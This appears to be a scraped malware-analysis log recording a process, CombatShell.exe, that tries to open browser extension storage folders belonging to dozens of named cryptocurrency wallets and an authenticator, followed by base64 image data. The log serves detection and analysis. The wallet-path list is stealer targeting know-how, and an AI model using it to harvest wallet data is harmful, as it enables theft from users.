C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma related to Braavos – Starknet Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid related to Nifty Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac related to EQUA Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi related to BitApp Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj related to iWallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm related to MEW CX CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj related to GuildWallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig related to Saturn Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn related to Liquality Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc related to Temple CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm related to MetaMask CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk related to Ronin Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\akoiaibnepcedcplijmiamnaigbepmcb related to Yoroi CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp related to Binance Chain Wallet CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec related to TronLink CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet) CombatShell.exe trying to open a file %LOCALAPPDATA%\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator CombatShell.exe trying to open a file %LOCALAPPDATA%\Sync Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc related to Math Wallet CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb related to Yoroi CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne related to Jaxx Liberty CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih related to Wombat CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp related to Terra Station CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet CombatShell.exe trying to open a file %LOCALAPPDATA%\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno related to Sollet52:T48c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADL0lEQVR4Xu1VW0iaYRj2pl0UsXIW6yAs7CCsrIiiu6KlqxjSAbvoYMuCSjtR1qKM0C2ijTwxi4jWwovSrLSDGtiBGEEb7aKu1tVuFnQ3gmgLxrP3/8eCtbupFwMfePhF8Xuf/3mf9/04nBBCCOF/hFQqRWVlJaqqqv6iQqFAfX09bv8nYGhra8Py8jI8Hje8Xs8NPR7m6cXMzAyKioqCJ8But2NzcxN2mwN2+/INV1ZcODr6iOnpaWRmZgZHQEFBAdbX1zE+rkexVAtxqRFisRHFxUZUV5uwu/sORqMRIpEoOAJycnJIwBpaW56BI7CDE3VChY6JJ+Dz9+HzHcBkMgVHgFgsRkZGBlwuF9pVGtzJ+AAO9wcVAsvExC8k4DA4AqxWK7RaLbKysqjXK9DrLUhP9yAs7Bzh4d9YpqR8xvZ2EASYzWZsbW1hfn4eDQ0N1OddnJ5+glI5TCL0qKg4Rnn5MRobD7C//x4Ggx55eXmoq6tDX1+f/0ImJyfZt3Y4HBgbGwPjhs+3Q+F7go4OFVZXHZQLJ9HFTodarUZtbS1GR0eRn5/vvwCdToe5uTc4PDzA3t4OzGYjOfECkZGP6M2l6OzsRHd3N8vfnw0GAzQaDYRCof8CpNJ7kMls6O+/IH4l25XU8y7weDIMD2uwsLAAm83GcnFxEU6nE1NTU+jt7UVaWpr/AhhERCwhKuoK0dHfKXivkZ39ima/BiqVEnI502s1dDot7QIZenp6MDExQd/LaTISAyMgIcFBdl4Rr5Gbu0TLxkF9lqOsrJAsL6Xkt8JiUVLwJBRGBZqbm8HsjNvn/DNGRhwUsCva99eUgQ243V7U1NQgJuYuCgsfoLT0IUpKRDSmAqSmpiM5WUhuxQdOgI32/sXFFS4vr7Gx4aaRfAuJRHJTQK1upz3xFENDtUQ53YaSwNnPgBm9s7MznJ+fY3Z2lr1yY2Nj2QJM8q3WORJmwdraS7qYnlMAH5MDEYET0NLSwgaLuWiYcPH5fPZwmUzGOsGM3uBgFwYG2tDUJKOQ/vo9YIiPj6dVm0L9TUVcXNwfh3O5XAgEAiQlJbNPHu9+YIuHEEIIwcZPczYXfAwK40QAAAAASUVORK5CYII=53:T133f0,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